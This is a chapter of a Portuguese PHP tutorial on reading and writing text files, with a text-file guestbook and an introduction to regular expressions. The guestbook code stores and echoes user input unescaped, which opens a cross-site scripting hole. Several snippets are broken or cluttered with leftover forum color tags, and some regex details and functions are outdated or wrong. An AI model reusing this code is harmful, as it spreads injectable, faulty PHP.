o Manipulação de arquivos texto

o Funções do PHP para manipulação de arquivos

o Criando um mural de recados em arquivos texto

o Expressões Regulares (E.R.)

Manipulação de arquivos texto

Muitas vezes precisamos guardar dados simples, e por isso não teria a necessidade de um

SGBD Basta um arquivo de texto, sendo esse modo mais simples e rápido que um SGBD.

Só lembrando que se tratando de um arquivo de texto ele torna seu sistema mais frágil e sem

segurança Como por exemplo, qualquer pessoa pode abrir o arquivo de texto e examinar tudo

que tem dentro dele, ou até mesmo apagar ele.

Sem contar também que o arquivo de texto tem que ser usado para escrita num modo

exclusivo se não fizer isso pode perder dados já que duas pessoas ou mais estiverem usando

um sistema em base de texto e na hora de gravar elas não podem gravar ao mesmo tempo,

por isso você terá que criar uma proteção para o arquivo na hora de gravar e liberar quando

não estiver gravando, um exemplo desse tipo de falha é o banco acess antigo.

Essa função de proteção do arquivo para escrita e outras vocês vão ver logo mais nesse curso.

E sobre o que eu falei de segurança e fragilidade dos arquivos texto não é querendo te

desencorajar a usar arquivos textos, pelo contrário.

É só um aviso importante que você precisava saber antes de começar a manipular arquivos

textos, muitos sistemas usam base de texto para guardar dado ou até configurações do

sistema, enquetes simples, contadores de acesso ou visitas ou clicks, equipamentos como

micro terminais, catracas eletrônicas, sistemas de telefonia, etc..., como você pode ver muitos

sistemas ou equipamentos usam base em arquivos de texto.

Eu posso citar um exemplo as catracas eletrônicas, não conheço todas as marcas mas a marca

Wilbor usa base de textos e ela grava o número do cartão do funcionário, data e hora de

entrada ou saída, para que o sistema do RH possa colher esses dados e controlar as faltas do

funcionário e fazer o pagamento com horas extras etc..., outro sistema muito usado e

conhecido em grandes empresas é um sistema de PABX que controla as ligações da empresa

inteira como quem ligou e pra onde, data, horário, fazendo um relatório completo das ligações

de entrada e saída da empresa, e esse sistema também usam base de textos não digo todos,

mas a maioria como por exemplo, da marca Intelbras.

Por isso é bom você saber manipular arquivos de texto caso algum dia precise.

Eu por exemplo fiz um sistema completo para colher os dados de uma catraca eletrônica da

empresa em que eu trabalho , já que o próprio sistema que vem com ela é muito simples e

limitado, da pra falar de muito mais utilidades de usar arquivos de texto, mas vou parar por

aqui.

Obs.: Não estou falando em nenhum momento que uma base em arquivo de texto é melhor

que um SGBD só estou falando as utilidades e vantagens de usar base de texto Sem comparar

com SGBD.

Page 75: Curso completo php

Abertura de um arquivo de texto

fopen

fopen Abri um arquivo ou uma URL www.php.net/fopen

Descrição

resource fopen ( string filename, string mode [, int use_include_path [, resource zcontext]])

mode Descrição

'r' Abre somente leitura; coloca o ponteiro do arquico no começo do arquivo.

'r+' Abre para leitura e escrita; coloca o ponteiro do arquivo no começo do arquivo.

'w' Abre para escrita somente; coloca o ponteiro do arquivo no começo do arquivo e diminui

(trunca) o tamanho do arquivo para zero. Se o arquivo não existe, tenta criá-lo.

'w+' Abre o arquivo para leitura e escrita; coloca o ponteiro do arquivo no começo e diminui

(trunca) o tamanho do arquivo para zero. Se o arquivo não existe, tenta criá-lo.

'a' Abre para escrita somente; coloca o ponteiro do arquivo no final. Se o arquivo não existe,

tenta criá-lo.

'a+' Abre o arquivo para leitura e escrita; coloca o ponteiro do arquivo no final. Se o arquivo

não existe, tenta criá-lo.

'x' Cria e abre o arquivo para escrita somente; coloca o ponteiro no início do arquivo. Se o

arquivo já existe, a chamada a fopen() irá falhar, retornando FALSE e gerando um erro nível

E_WARNING. Se o arquivo não existe, tenta criá-lo. Isto é o equivalente a informar as flags

O_EXCL|O_CREAT numa chamada a open(2). Esta opção é suportada no PHP 4.3.2 e

posteriores, e somente funciona em arquivos locais.

'x+' Cria e abre um arquivo para escrita e leitura; coloca o ponteiro do arquivo no início. Se o

arquivo já existe, a chamada a fopen() irá falhar, retornando FALSE e gerando um erro nível

E_WARNING. Se o arquivo não existe, tenta criá-lo. Isto é o equivalente a informar as flags

O_EXCL|O_CREAT numa chamada a open(2). Esta opção é suportada no PHP 4.3.2 e

posteriores, e somente funciona em arquivos locais.

O Windows oferece uma flag de tradução do modo texto ('t') que traduz,

transparentemente, \n para\r\n quando trabalhando no arquivo. Em contraste, você também

pode utilizar 'b' para forçar o modo binário, que não irá traduzir o arquivo. Para usar essas

flags, informe ou 'b' ou 't' como o último caracter no parâmetro mode.

O modo do sistema de tradução default depende da versao da SAPI sob o qual você está

usando o PHP, então é encorajado a sempre utilizar a flag apropriada por razões de

portabilidade. Você deve usar o modo 't' se estiver trabalhando em arquivos texto simples e

utilizar \n para delimitar as linhas em seu script, de forma que você pode esperar que eles

sejam lidos em outras aplicações como o Notepad. Você deve usar 'b' em todos os outros

casos.

Se você não especificar a flag 'b' quando trabalhando com arquivos binários, você pode

experimentar problemas estranhos com seus dados, incluindo arquivos de imagens danificados

e problemas estranhos com os caracteres \r\n.

Page 76: Curso completo php

Para portabilidade, é estremamente recomendado que você sempre utilize a flag 'b' quando

abrindo arquivos com fopen().

Novamente, por portabilidade, é estremamente recomendável que você re-escreva seu código

nas situações em que o modo 't' deva ser utilizado para corrigir os fim de linha, onde o modo

'b' não deva ser utilizado.

A partir do PHP 4.3.2, o modo padrão é configurado para binário em todas as plataformas que

distinguem entre modo texto e binário. Se você está tendo problemas em seus scripts depois

de um upgrade, tente acrescentar a flag't' como um paliativo até que você tenha tornado seus

scripts portáveis como mencionado acima.

Você pode usar o terceiro pparâmetro opcional como "1", se você quiser procurar pelo

arquivo no include_path também.

Se a abertura falhar, a função retorna FALSE e um erro nível E_WARNING é gerado. Você pode

utilizar @ para suprimir esse alerta.

Exemplo 1. exemplo do fopen()

PHP

1. <?php

2. $handle = fopen ("/home/rasmus/file.txt", "r");

3. $handle = fopen ("/home/rasmus/file.gif", "wb");

4. $handle = fopen ("http://www.example.com/", "r");

5. $handle = fopen ("ftp://user:[email protected]/somefile.txt", "w");

6. ?>

Se você está tendo problemas com a leitura e gravação para arquivos e você está usando a

versão de modulo de servidor do PHP, lembre-se de que os arquivos e diretórios que você está

usando precisam ser acessíveis ao processo do servidor HTTP.

Na plataforma Windows, tenha cuidado para usar uma segunda barra invertida (escape) nos

caminhos de arquivos, ou usar a barra normal.

<?php

$handle = fopen ("c:\\data\\info.txt", "r");

?>

Page 77: Curso completo php

fclose

fclose

fclose -- Fecha um ponteiro de arquivo aberto

Descrição

bool fclose ( int handle)

O arquivo apontado por handle é fechado.

Retorna TRUE em caso de sucesso ou FALSE em falhas.

O ponteiro para o arquivo tem que ser válido e tem que apontar para um arquivo aberto por

fopen() ou fsockopen().

Exemplo 1. Exemplo fclose()

PHP

1.

2. <?php

3.

4. $handle = fopen('qualquerarquivo.txt', 'r');

5.

6. fclose($handle);

7.

8. ?>

9.

readfile

readfile -- Lê e exibe o conteúdo de um arquivo

Descrição

int readfile ( string nomedoarquivo [, bool use_include_path [, resource context]])

Page 78: Curso completo php

Lê um arquivo e escreve o seu conteúdo para o buffer de saída (output buffer).

Retorna o número de bytes lido do arquivo. Se um error ocorrer, retorna FALSE e ao menos

que a função seja chamada como @readfile(), uma mensagem de erro será impressa.

Dica: Você pode usar uma URL com esta função se fopen wrappers estiver habilitado. Veja

fopen() para mais detalhes em como especificar o nome do arquivo e Apêndice L para uma

lista de protocolos URL suportados.

Você pode usar o segundo parâmetro opcional e o configurar para TRUE, se você quiser

procurar o arquivo no include_path também.

PHP

1. <?php

2.

3. $bytes = readfile("teste.txt");// le arquivo na mesma linha

4. [color=" blue"]echo[/color] $bytes;

5. [color=" red fontweight bold"]?>[/color]

file

file -- Le um arquivo inteiro para um array

Descrição

array file ( string filename [, int use_include_path [, int use_include_path]])

PHP

1. [color=" red fontweight bold"]<?php[/color]

2. $array = file ([color=" orange"]"teste.txt"[/color]);

3. foreach ($array as $linha)

4. [color=" blue"]echo[/color] $linha.[color=" orange"]"<br>"[/color];

5. [color=" red fontweight bold"]?>[/color]

Idêntico a readfile(), exceto que file() retorna o arquivo em um array. Cada elemento do array

corresponde a uma linha no arquivo, inclusive com o caracter de nova linha. Em caso de falha,

file() retorna FALSE.

Você pode usar o parâmetro opcional use_include_path como "1", se você deseja procurar o

Page 79: Curso completo php

arquivo no include_path também.

PHP

1.

2. [color=" red fontweight bold"]<?php[/color]

3. // Le um arquivo em um array. Nesse exemplo você pode obter via HTTP para obter

4. // o código fonte HTML de uma URL.

5. $lines = file ('http://www.exemplo.com/');

6.

7. // Roda através do array, mostrando o fonte HTML com numeração de linhas.

8. foreach ($lines as $line_num => $line) {

9. [color=" blue"]echo[/color] [color="

orange"]"Linha #<b>{$line_num}</b> : "[/color] . htmlspecialchars($line) . [color="

orange"]"<br>\n"[/color];

10. }

11.

12. // Outro exemplo, onde obtemos a página web inteira como uma string. Veja também

file_get_contents().

13. $html = implode ('', file ('http://www.exemplo.com/'));

14. [color=" red fontweight bold"]?>[/color]

Dica: Você pode usar uma URL com esta função se fopen wrappers estiver habilitado. Veja

fopen() para mais detalhes em como especificar o nome do arquivo e Apêndice L para uma

lista de protocolos URL suportados.

Nota: Cada linha do array resultante terá os caracteres de fim de linha, então você precisa

utilizar trim() se não quiser esses caracteres presentes.

Nota: Se você está tendo problemas com o PHP no reconhecimento do final de linha quando

criando ou lendo arquivos num computador Macintosh, você pode habilitar a opção

auto_detect_line_endings.

Page 80: Curso completo php

Nota: A partir do PHP 4.3.0, você pode utilizar file_get_contents() para retornar o conteúdo de

um arquivo como uma string.

No PHP 4.3.0 file() se tornou segura para arquivos binários.

file_get_contents

file_get_contents -- Le todo o conteúdo de um arquivo para uma string

Descrição

string file_get_contents ( string filename [, int use_include_path [, resource context]])

Idêntico a file(), exceto que file_get_contents() retorna o arquivo em uma string.

file_get_contents() é o método preferível para ser ler o conteúdo de um arquivo em uma

string. Ela usa tecnicas de mapeamento de memório suportadas em seu sistema operacional

para melhorar a performance.

Nota: Esta função é compatível com dados binários

Dica: Você pode usar uma URL com esta função se fopen wrappers estiver habilitado. Veja

fopen() para mais detalhes em como especificar o nome do arquivo e Apêndice L para uma

lista de protocolos URL suportados.

Nota: O suporte ao contexto foi acrescentado no PHP 5.0.0.

PHP

1. [color=" red fontweight bold"]<?[/color]

2. $conteudo = file_get_contents ([color=" orange"]"teste.txt"[/color]);

3. [color=" blue"]echo[/color] $conteudo;

4. [color=" red fontweight bold"]?>[/color]

fread

fread -- Leitura binary-safe de arquivo

Descrição

string fread ( resource handle, int length)

fread() lê até length bytes do ponteiro de arquivo informado em handle. A leitura é

interrompida quando length bytes foram lidos ou o fim do arquivo (eof) foi alcançado, ou (para

streams de rede) quando um pacote se torna disponível, o que ocorrer primeiro.

Page 81: Curso completo php

PHP

1. [color=" red fontweight bold"]<?php[/color]

2. $ponteiro = fopen ([color=" orange"]"teste.txt"[/color], [color=" orange"]"r"[/color]);

3. $conteudo = fread ($ponteiro, 30);

4. [color=" blue"]echo[/color] $conteudo;

5. fclose ($ponteiro);

6. [color=" red fontweight bold"]?>[/color]

PHP

1. [color=" red fontweight bold"]<?php[/color]

2. // ler o conteúdo do arquivo para uma string

3. $filename = [color=" orange"]"/usr/local/qualquer.txt"[/color];

4. $handle = fopen ($filename, [color=" orange"]"r"[/color]);

5. $conteudo = fread ($handle, filesize ($filename));

6. fclose ($handle);

7. [color=" red fontweight bold"]?>[/color]

Atenção

Em sistemas que diferenciam entre arquivos binários e texto (por exemplo Windows) o arquivo

tem que ser aberto com 'b' incluído como parametro na função fopen().

PHP

1. [color=" red fontweight bold"]<?php[/color]

2. $filename = [color=" orange"]"c:\\files\\figura.gif"[/color];

3. $handle = fopen ($filename, [color=" orange"]"rb"[/color]);

4. $conteudo = fread ($handle, filesize ($filename));

5. fclose ($handle);

Page 82: Curso completo php

6. [color=" red fontweight bold"]?>[/color]

Atenção

Quando lendo de streams de rede ou canais (pipes), como aqueles retornados pela leitura de

arquivos remotos ou de popen() e proc_open(), a leitura irá parar depois que um pacote se

torna disponível. Isto significa que você deve juntar os dados em blocos como demonstrado no

exemplo seguinte.

PHP

1. [color=" red fontweight bold"]<?php[/color]

2. $handle = fopen ([color=" orange"]"http://www.example.com/"[/color], [color="

orange"]"rb"[/color]);

3. $conteudo = [color=" orange"]""[/color];

4. do {

5. $data = fread($handle, 8192);

6. [color=" blue"]if[/color] (strlen($data) == 0) {

7. [color=" blue"]break[/color];

8. }

9. $conteudo .= $data;

10. } while(true);

11. fclose ($handle);

12. [color=" red fontweight bold"]?>[/color]

Nota: O exemplo acima tem uma performance melhor que o jeito comum usando

while(!feof()), porque ele economiza o overhead de uma chamada de função por iteração.

Nota: Se você quer apenas pegar o conteúdo de um arquivo para uma string, utilize

file_get_contents() que tem uma performance ainda melhor que o código acima.

Page 83: Curso completo php

fgets

fgets -- Le uma linha de um ponteiro de arquivo

Descrição

string fgets ( resource handle [, int length])

Retorna uma string com até length - 1 bytes lidos do arquivo apontado por handle. A leitura

acaba quando length - 1 bytes foram lidos, encontra-se um fim de linha (newline) (que é

incluido no valor retornado) ou no fim de arquivo (EOF) (o que acontecer primeiro). Se

nenhum length for informado, o default é 1Kb, ou 1024 bytes.

Se um erro ocorrer, retorna FALSE.

Equívocos comuns:

Pessoas acostumadas a semântica do fgets em 'C' devem notar a diferenca em como o fim do

arquivo (EOF) é retornado.

O ponteiro para o arquivo deve ser válido e deve apontar para um arquivo aberto com sucesso

por fopen(), popen() ou fsockopen().

Um simples exemplo segue: Exemplo 1. Lendo um arquivo linha a linha

PHP

1. [color=" red fontweight bold"]<?php[/color]

2. $handle = fopen ([color=" orange"]"/tmp/arquivodeentrada.txt"[/color], [color="

orange"]"r"[/color]);

3. while (!feof ($handle)) {

4. $buffer = fgets($handle, 4096);

5. [color=" blue"]echo[/color] $buffer;

6. }

7. fclose ($handle);

8. [color=" red fontweight bold"]?>[/color]

9.

Page 84: Curso completo php

PHP

1. [color=" red fontweight bold"]<?[/color]

2.

3. $ponteiro = fopen ([color=" orange"]"teste.txt"[/color], [color=" orange"]"r"[/color]);

4.

5. while (!feof ($ponteiro)) {

6.

7. $linha = fgets($ponteiro, 4096);

8.

9. [color=" blue"]echo[/color] $linha.[color=" orange"]"<br>"[/color];

10.

11. }

12.

13. fclose ($ponteiro);

14. [color=" red fontweight bold"]?>[/color]

Nota: O parâmetro length se tornou opcional a partir do PHP 4.2.0, e se omitido, tem default

para 1024 bytes para o comprimento da linha. A partir do PHP 4.3, omitindo length fará

continuar a leitura a partir do stream até encontrar o fim da linha. Se a maioria das linhas no

arquivo forem todar maiores que 8 Kb, haverá mais eficiência de recursos se seus scripts

informarem o comprimento máximo das linhas.

Nota: Esta função é binary safe a partir do PHP 4.3. Versões anteriores não são seguras para

dados binários.

Nota: Se você está tendo problemas com o PHP no reconhecimento do final de linha quando

criando ou lendo arquivos num computador Macintosh, você pode habilitar a opção

auto_detect_line_endings.

Page 85: Curso completo php

fwrite

fwrite -- Gravação em arquivos binary-safe

Descrição

int fwrite ( resource handle, string string [, int comprimento])

fwrite() grava os conteúdos de string para o stream de arquivo apontado por handle. Se o

argumento comprimento é dado, a gravação irá parar depois de que comprimento bytes foram

escritos ou o fim da string é alcançada, o que ocorrer primeiro.

fwrite() retorna o número de bytes gravados, ou FALSE em caso de erro.

Note que se o argumento comprimento é dado, então a opção de configuração

magic_quotes_runtime será ignorada e nenhuma barra será retirada do string.

Nota: Em sistemas que diferenciam entre arquivos binários e texto (por exemplo Windows) o

arquivo tem que ser aberto com 'b' incluído no parametro mode do fopen().

Exemplo fwrite

PHP

1. [color=" red fontweight bold"]<?php[/color]

2. $filename = 'teste.txt';

3. $somecontent = [color=" orange"]"Acrescentando isto no arquivo\n"[/color];

4.

5. // Tendo certeza que o arquivo existe e que há permissão de escrita primeiro.

6. [color=" blue"]if[/color] (is_writable($filename)) {

7.

8. // Em nosso exemplo, nós estamos abrindo $filename em modo de append (acréscimo

).

9. // O ponteiro do arquivo estará no final dele desde

10. // que será aqui que $somecontent será escrito com fwrite().

11. [color=" blue"]if[/color] (!$handle = fopen($filename, 'a')) {

12. [color=" blue"]print[/color] [color="

orange"]"Erro abrindo arquivo ($filename)"[/color];

13. exit;

Page 86: Curso completo php

14. }

15.

16. // Escrevendo $somecontent para o arquivo aberto.

17. [color=" blue"]if[/color] (!fwrite($handle, $somecontent)) {

18. [color=" blue"]print[/color] [color="

orange"]"Erro escrevendo no arquivo ($filename)"[/color];

19. exit;

20. }

21.

22. [color=" blue"]print[/color] [color="

orange"]"Sucesso: escrito ($somecontent) no arquivo ($filename)"[/color];

23.

24. fclose($);

25.

26. } [color=" blue"]else[/color] {

27. [color=" blue"]print[/color] [color="

orange"]"The file $filename is not writable"[/color];

28. }

29. [color=" red fontweight bold"]?>[/color]

fputs

fputs -- Sinônimo de fwrite()

flock

flock -- Monitor de travamento de arquivos portátil

Descrição

bool flock ( int handle, int operation [, int &wouldblock] )

O PHP suporta uma maneira portável de lock arquivos inteiros em uma advisory way (que

significa que todos os programas acessando tem que usar o mesmo tipo de travamento ou não

irá funcionar).

flock() opera em fp, que tem que ser um ponteiro de arquivo aberto com sucesso. operacao é

um dos seguintes valores:

Page 87: Curso completo php

Para obter um lock compartilhado (leitura), utilize operation como LOCK_SH (ou use 1 se a

versão do PHP for anterior a 4.0.1).

Para obter um lock exclusivo (gravação), utilize operacao como LOCK_EX (ou use 2 se a versão

do PHP for anterior a 4.0.1).

Para retirar um lock (compartilhado ou exclusivo), uyilize operacao como LOCK_UN (ou use 3

se a versão do PHP for anterior a 4.0.1).

Se você não quer usar flock() para bloquear enquanto travando, adicione LOCK_NB (4 se a

versão do PHP for anterior a 4.0.1) a operacao.

flock() permite a você fazer um simples modelo leitura/gravação (reader/writer) que pode ser

usado em virtualmente todas as plataformas (incluindo a maior parte dos Unixes e até mesmo

Windows). O terceiro argumento opcional é usado como TRUE se a lock irá bloquear

(EWOULDBLOCK errno condition).

Retorna TRUE em caso de sucesso ou FALSE em falhas.

Exemplo 1. flock() example

PHP

1. [color=" red fontweight bold"]<?php[/color]

2.

3. $fp = fopen([color=" orange"]"/tmp/lock.txt"[/color], [color=" orange"]"w+"[/color]);

4.

5. [color=" blue"]if[/color] (flock($fp, LOCK_EX)) { // faca um lock exclusivo

6. fwrite($fp, [color=" orange"]"escrevemos algo aqui\n"[/color]);

7. flock($fp, LOCK_UN); // libera o lock

8. } [color=" blue"]else[/color] {

9. [color=" blue"]echo[/color] [color=" orange"]"Não pude travar o arquivo !"[/color];

10. }

11.

12. fclose($fp);

13.

Page 88: Curso completo php

14. [color=" red fontweight bold"]?>[/color]

Nota: Uma vez que flock() requer um ponteiro de arquivo, você precisa utilizar um lock de

arquivo especial para proteger i acessi a um arquivo ao qual você pretende truncar quando

abrindo no modo de escrita (com um argumento "w" ou "w+" em fopen()).

Atenção

flock() não funcionará em NFS ou em qualquer outro sistema de arquivos em rede. Verifique a

documentação do seu sistema operacional para mais detalhes.

Na maior parte dos sistemas operacionais flock() é implementada no nível do processo.

Quando utilizando um servidor com uma API de multiprocessamento (como ISAPI), você não

pode confiar em flock() para proteger os arquivos contra outros scripts PHP rodando em

threads paralelas da mesma instância do servidor!

flock() não é suportado em sistemas de arquivos antiquados como a FAT e seus derivados, e

sempre retornará FALSE sob esses ambientes (especialmente para usuários do Windows 98).

Criando um mural de recados em arquivos texto

vou mostrar como criar um mural de recados bem simples depois vocês podem aperfeiçoar ele

como por exemplo deixar só pessoas cadastradas postar uma mensagem, nao deixar dados em

branco serem gravados, limitar o tamanho maximo da mensagem, colocar a opção de editar a

mensagem ,mas o usuario pode só editar a sua propria mensagem e o admin pode editar

todas, é facil fazer tudo isso ,mas como o foco do curso não é fazer sistemas pra ninguem ,mas

sim ensinar o caminho das pedras e mostrar os melhores caminhos ,então fica por sua conta

essa incrementação do sistema, mas qualquer duvida pode perguntar no forum

PHP

1. <html>

2. <body>

3. <form method=[color=" orange"]"post"[/color] action=[color="

orange"]"gravar.php"[/color]>

4. <table width=[color=" orange"]"100px"[/color] border=[color="

orange"]"0"[/color] align=[color=" orange"]"center"[/color]>

5. <tr>

Page 89: Curso completo php

6. <td>Nome: </td>

7. <td><input name=[color=" orange"][color=" orange"][color="

orange"]"nome"[/color][/color][/color] type=[color="

orange"]"text"[/color] size=[color=" orange"][color=" orange"][color="

orange"]"20"[/color][/color][/color] maxlength=[color=" orange"][color="

orange"][color=" orange"]"20"[/color][/color][/color]></td>

8. </tr>

9. <tr>

10. <td>Mensagem:</td>

11. <td>

12. <textarea name=[color=" orange"][color=" orange"]"msg"[/color][/color] cols=[color="

orange"][color=" orange"][color=" orange"]"20"[/color][/color][/color] rows=[color="

orange"]"3"[/color]>

13. </textarea>

14. </td>

15. </tr>

16. <tr>

17. <td><input type=[color=" orange"]"submit"[/color] value=[color="

orange"]"Enviar"[/color]></td>

18. </tr>

19. </table>

20. </form>

21. </body>

22. </html>

23. [color=" red fontweight bold"]<?[/color]

24. [color=" blue"]echo[/color] [color=" orange"]"<hr>"[/color];

25.

26. [color=" blue"]if[/color](isset($_POST[[color=" orange"][color=" orange"][color="

orange"]"nome"[/color][/color][/color]]))

27. {

28.

Page 90: Curso completo php

29. $fp = fopen([color=" orange"][color=" orange"]"arquivo.txt"[/color][/color], [color="

orange"]"a+"[/color]);

30.

31. $nome = trim($_POST[[color=" orange"][color=" orange"][color="

orange"]"nome"[/color][/color][/color]]);

32. $msg = trim($_POST[[color=" orange"][color=" orange"]"msg"[/color][/color]]);

33.

34. $nome = str_replace([color=" orange"][color=" orange"]"\r\n"[/color][/color], [color="

orange"][color=" orange"]" "[/color][/color], $nome);

35. $msg = str_replace([color=" orange"][color=" orange"]"\r\n"[/color][/color], [color="

orange"][color=" orange"]" "[/color][/color], $msg);

36. $data = date([color=" orange"]"d/m/Y H:i"[/color]);

37.

38. fwrite($fp, [color=" orange"]"$nome|$msg|$data\n"[/color]);

39. fclose($fp);

40.

41. $fp = file([color=" orange"][color=" orange"]"arquivo.txt"[/color][/color]);

42.

43. for( $i = 0; $i < count($fp); $i++)

44. {

45. $arr = explode([color=" orange"]"|"[/color], $fp[$i]);

46.

47. [color=" blue"]echo[/color] [color=" orange"]"Data: $arr[2]<br />"[/color];

48. [color=" blue"]echo[/color] [color=" orange"]"Nome: $arr[0]<br />"[/color];

49. [color=" blue"]echo[/color] [color=" orange"]"Mensagem: $arr[1]<br /><hr>"[/color];

50.

51. }

52.

53. }

Page 91: Curso completo php

54. [color=" red fontweight bold"]?>[/color]

Funções do PHP para manipulação de arquivos

Índice

basename -- Retorna a parte nome do arquivo do caminho/path

chgrp -- Modifica o grupo do arquivo

chmod -- Modifica as permissões do arquivo

chown -- Modifica o dono do arquivo

clearstatcache -- Limpa as informações em cache de arquivos

copy -- Copia arquivo

dirname -- Retorna o componente diretório de um caminho/path

disk_free_space -- Retorna o espaço disponivel no diretório

disk_total_space -- Retorna o tamanho total do diretório

diskfreespace -- Sinônimo de disk_free_space()

fclose -- Fecha um ponteiro de arquivo aberto

feof -- Testa pelo fim-de-arquivo (eof) em um ponteiro de arquivo

fflush -- Força a liberação do buffer para um arquivo

fgetc -- Le um caracter do ponteiro de arquivo

fgetcsv -- Le uma linha do ponteiro de arquivos e a interpreta por campos CSV

fgets -- Le uma linha de um ponteiro de arquivo

fgetss -- Ler uma linha de um ponteiro de arquivo e retira as tags HTML

file_exists -- Checa se um arquivo ou diretório existe

file_get_contents -- Le todo o conteúdo de um arquivo para uma string

file_put_contents -- Write a string to a file

file -- Le um arquivo inteiro para um array

fileatime -- Obtém o último horário de acesso do arquivo

filectime -- Ler o tempo de modificação do inode do arquivo

filegroup -- Lê o grupo do arquivo

fileinode -- Lê o inode do arquivo

filemtime -- Le o tempo de modificação do arquivo

fileowner -- Lê o dono (owner) do arquivo

fileperms -- Lê as permissões do arquivo

filesize -- Lê o tamanho do arquivo

filetype -- Lê o tipo de arquivo (file type)

flock -- Monitor de travamento de arquivos portátil

fnmatch -- Verifica se um nome de arquivo bate com padrão (wildcards)

fopen -- Abri um arquivo ou uma URL

fpassthru -- Imprime todo os dados restantes de um ponteiro de arquivo

fputcsv -- Format line as CSV and write to file pointer

Page 92: Curso completo php

fputs -- Sinônimo de fwrite()

fread -- Leitura binary-safe de arquivo

fscanf -- Interpreta a leitura de um arquivo de acordo com um formato

fseek -- Procura (seeks) em um ponteiro de arquivo

fstat -- Lê a informação sobre um arquivo usando um ponteiro de arquivo aberto

ftell -- Retorna a posição de leitura/gravação do ponteiro do arquivo

ftruncate -- Corta (trunca) um arquivo para um tamanho especificado

fwrite -- Gravação em arquivos binary-safe

glob -- Localiza diretórios/arquivos que combinem com o padrão

is_dir -- Diz se o caminho é um diretório

is_executable -- Diz se um arquivo é executável

is_file -- Diz se o arquivo é um arquivo comum (não é diretório)

is_link -- Diz se o arquivo é um link simbólico (symbolic link)

is_readable -- Diz se o arquivo é legivel (readable)

is_uploaded_file -- Diz se o arquivo foi uploaded via HTTP POST

is_writable -- Diz se pode-se escrever para o arquivo (writable)

is_writeable -- Esta é uma função sinônima (alias) de is_writable()

link -- Criando um hard link

linkinfo -- Ler informações sobre um link

lstat -- Obtem informações sobre um arquivo ou link simbólico

mkdir -- Criar um diretório

move_uploaded_file -- Move um arquivo carregado para uma nova localização

parse_ini_file -- Interpreta um arquivo de configuração

pathinfo -- Retorna informação sobre o path de um arquivo

pclose -- Fecha um processo de um ponteiro de arquivo

popen -- Abre um processo como ponteiro de arquivo

readfile -- Lê e exibe o conteúdo de um arquivo

readlink -- Retornar o alvo de um link simbólico

realpath -- Retorna o path absoluto canonicalizado

rename -- Renomear um arquivo

rewind -- Reinicializa a posição do ponteiro de arquivos para o início

rmdir -- Remove um diretório

set_file_buffer -- Sinônimo de stream_set_write_buffer()

stat -- Obtem informações sobre um arquivo

symlink -- Cria um link simbólico

tempnam -- Cria um nome de arquivo único

tmpfile -- Cria um arquivo temporário

touch -- Muda o tempo de modificação do arquivo

umask -- Modificar a umask atual

unlink -- Apaga um arquivo

Expressões Regulares (E.R.)

Você ja deve ter visto sobre regex, ER ou Expressões regulares

bom pra quem não entende nada de ER e muito mesmo sabia o que era ER

Page 93: Curso completo php

esse tutorial é pra você, vou tentar explicar o máximo sobre ER tirando aquela ideia que uma

ER parece codigo pra indigena ou outra coisa que não da pra entender nada, meu foco não é

deixar você 100% conhecedor de ER ,mas sim mostrar que não é tão complicado fazer ou ler

uma er basta prestar atenção

e eu vou passar o que eu sei dai você terá uma base pra se aprofundar em conhecer melhor

sobre ER, muita gente não sabe usar uma ER por isso acaba fazendo coisas complexas que com

uma simples ER faria, depois que você se acostumar a trabalhar com ER você vai ver que é

impossivel ficar sem elas

bom mas chega de papo e vamos la para o que interessa.

O que são Expressões Regulares?

Resumindo são simbolos ou caracteres com funções especiais para pesquisar,

casar uma frase, palavra ou caracter, substituir ou modificar, por exemplo você pode procurar

uma frase por uma palavra a ou você só quer aceitar só palavras minusculas, você quer uma

palavra ou caracter que esteja no começo ou no fim de uma frase, você pode validar:

emails,cnpj, cpf, numeros, datas, etc... tudo isso que eu falei e muito mais você pode fazer com

ER, muito mais facil que tentar fazer uma função pra isso dependendo da função ela seria

enorme ao contrario de uma simples ER de uma linha

funções do php para manipular as ER

[color="DarkBlue"]ereg()

ereg_replace()

eregi()

eregi_replace()

split()

spliti()

preg_match()

preg_match_all()

preg_replace()

preg_split()

sql_regcase()[/color]

Vou falar mais da próprias ER doque as funções acima caso queria estuda-las procure no

manual do php

\a Isto combina com o caractere ASCII da campainha (BEL, 0x07).

\f Isto combina com o caractere ASCII de nova página (FF, 0x0C).

\n Isto combina com o caractere ASCII de nova linha (LF, 0x0A, nova linha do Unix).

\r Isto combina com o caractere ASCII de retorno de carro (CR, 0x0D).

Page 94: Curso completo php

\t Isto combina com o caractere ASCII de tabulação horizontal (HT, 0x09).

\v Isto combina com o caractere ASCII de tabulação vertical (VT, 0x0B).

\xhhhh

Isto combina com o caractere Unicode correspondente ao número hexadecimal hhhh (entre

0x0000 e 0xFFFF). \0ooo (isto é, \zero ooo) combina com o caractere ASCII/Latin-1

correspondente ao número octal ooo (entre 0 e 0377).

. (ponto) Isto combina com qualquer caractere (incluindo nova linha).

\d Isto combina com um dígito. É igual a [0-9]

\D Isto combina com um caractere que não seja dígito. Igual a [^0-9] ou [^\d]

\s Isto combina com um caractere em branco. Praticamente igual a [\t\n\r]

\S Combina com o que não seja espaço em branco. Praticamente igual a [^\t\r\n], e igual a

[^\s]

\w Combina com quaisquer “caractere da palavra”, neste caso quaisquer letras ou dígitos.

Note que o caractere de sublinhado (ou underscore - _) não combina, como é o caso com

expressões regulares do Perl. Igual a [a-zA-Z0-9]

\W Combina com qualquer caractere diferente de palavra - qualquer coisa menos letras ou

números. Igual a [^a-zA-Z0-9] ou [^\w]

[] lista

- (hífen)

Denota um intervalo lógico. Deve sempre ser escapado dentro de uma classe.

[0-9] mesma coisa que 0123456789

[a-z] mesma coisa que abcdefghij...z

^ (circunflexo)

Denota uma classe negativa, se for o primeiro caractere. Deve ser escapado para combinar

literalmente, se for o primeiro caractere da classe.

\ (barra invertida) O caractere de escape.

^ (circunflexo) Combina com o início da string.

Page 95: Curso completo php

$ Combina com o fim da string.

() (parênteses esquerdo e direito) Denota sub-padrões.

{} (abre e fecha chaves) Denota quantificadores numéricos.

| OR lógico. Alternativas separadas.

+ (sinal de mais) Quantificador, 1 ou mais.

* (asterisco) Quantificador, 0 ou mais.

? (ponto de interrogação) Um caractere opcional. Pode ser interpretado como um

quantificador, 0 ou 1.

[[:alnum:]] Caracteres alfanuméricos.

[[:alpha:]] Caracteres alfabéticos.

[[:digit:]] Número Decimal (0-9).

[[:lower:]] Caracteres minúsculos.

[[:upper:]] Caracteres maiúsculos.

[[:xdigit:]] Número Hexadecimal .

[[:cntrl:]] Caracteres de Controle.

[[:print:]] Caracteres imprimíveis.

